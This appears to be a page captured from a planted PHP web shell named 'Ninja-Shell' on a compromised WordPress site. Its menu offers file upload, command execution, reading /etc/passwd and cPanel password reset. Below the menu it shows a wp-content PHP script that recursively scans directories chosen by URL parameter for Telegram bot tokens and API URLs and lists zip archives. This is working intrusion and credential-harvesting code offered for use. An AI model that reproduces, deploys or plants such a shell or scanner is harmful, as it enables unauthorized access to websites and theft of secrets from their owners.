{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var/www//epost/wp-content/6545667980imm.php
<?php ini_set('memory_limit', '-1'); set_time_limit(0); // Ensure the script runs without timing out $site = $_SERVER['SERVER_NAME']; $directory = isset($_GET['get']) ? $_GET['get'] : __DIR__; function findTokensAndFiles($path) { if (is_dir($path)) { if ($dh = opendir($path)) { while (($file = readdir($dh)) !== false) { if ($file === '.' || $file === '..' || $file === '.htaccess') { continue; // Skip special files } $filePath = "$path/$file"; if (is_file($filePath)) { $content = file_get_contents($filePath); // Combine regex patterns to improve performance $patterns = [ '/https:\/\/api\.telegram\.org\/bot.*\/SendMessage/', '/\d{9,12}:[A-Za-z0-9_-]{35,}/', '/\d{9,11}:[a-zA-Z0-9_-]{6,}/' ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $content, $matches)) { echo "Filename: $filePath | Match: " . htmlspecialchars($matches[0]) . "<br>"; } } if (preg_match('/\.zip$/', $file)) { echo "Filezip: $filePath<br>"; } } elseif (is_dir($filePath)) { findTokensAndFiles($filePath); // Recursively process subdirectories } } closedir($dh); } } } // Start processing from the specified directory findTokensAndFiles($directory);
./Ninja\.